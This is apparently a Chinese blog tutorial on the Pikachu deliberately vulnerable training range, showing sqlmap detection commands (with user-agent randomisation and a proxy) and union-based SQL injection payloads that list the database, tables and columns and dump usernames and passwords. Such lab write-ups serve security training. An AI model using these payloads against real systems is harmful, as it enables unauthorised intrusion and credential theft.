pikachu靶场——SQL-Inject—1(Kali系统)

文章目录

由于时间关系,今天使用 union 查询方式复现 数字型注入(post)的案例。本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别sql注入漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

(一)数字型注入(post)

使用 sqlmap 语句对网站地址是否存在 sql 注入的漏洞进行检测,具体命令:

sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_id.php' --data='id=1&submit=%E6%9F%A5%E8%AF%A2' --batch

如果 sqlmap 语句显示下面的信息,表述目标网站拒绝了 sqlmap 发起的请求,

这是将 sqlmap 的命令改为如下,主要变动是添加了请求代理(proxy)和随机生成请求头

sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_id.php' --data='id=1&submit=%E6%9F%A5%E8%AF%A2'--random-agent --proxy='http://127.0.0.1:8080' --batch

具体结果如图:

sqlmap 检测到http://192.168.0.20/pikachu/vul/sqli/sqli_id.php地址存在三个sql漏洞,分别为 布尔盲注漏洞(boolen-based blind)、报错注入(error-based)、时间盲注(time-based blind)、联合查询注入(union query)

(二)漏洞的利用

这里使用联合查询注入(union query)的方式来实施注入。通过注入,获取数据库的相关信息。通过 bp 获取查询的数据包。并将数据包发送到 Repeater 中。

1.获取数据库名称

在 id 处 拼接 union select database(),''的 sql 语句,发送后,会返回两条信息,其中 pikachu 就是当前数据库的名称。这里加 '' 的原因是通过sqlmap 扫描,查询的数据返回的是2列的数据,要保证返回数据数量的一致。

2.获取数据库中表的名称

在 id 处拼接union select (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES t WHERE t.TABLE_SCHEMA='pikachu'),''的 sql 语句,发送后,会返回两条信息,其中相同位置显示的就是pikachu数据库中表的信息。

3.获取表中的字段名称

在 id 处拼接 union SELECT (select GROUP_CONCAT(c.COLUMN_NAME) from information_schema.COLUMNS c where c.TABLE_SCHEMA='pikachu' and c.TABLE_NAME='users'),''

4.获取表中指定字段的具体数据

在 id 处拼接 union select username,password from users where '1' ='1',这里需要注意的是查询的字段个数要与返回的个数相同。

相关推荐
旺仔不是程序员1 小时前
LIMIT 1:PostgreSQL 只取一行的高效查询姿势
数据库·后端·sql
程序员若风3 小时前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
菩提小狗3 小时前
每日安全情报报告 · 2026-09-21
网络安全·漏洞·cve·安全情报·每日安全
数安旭说15 小时前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理
白猫不黑17 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
菩提小狗19 小时前
每日安全情报报告 · 2026-09-17
网络安全·漏洞·cve·安全情报·每日安全
知识的搬运工旺仔21 小时前
唯一索引与 NULL 值:PostgreSQL 主键约束与 NULLS NOT DISTINCT
数据库·后端·sql·postgresql
2601_966377131 天前
176号令10月1日施行|网安检查换新规矩,数达数安版等保一体机方案助企业从容应对
网络安全·数据安全·数安版等保一体机
qingtian!1 天前
VM中安装WinServer2016详细教程
网络安全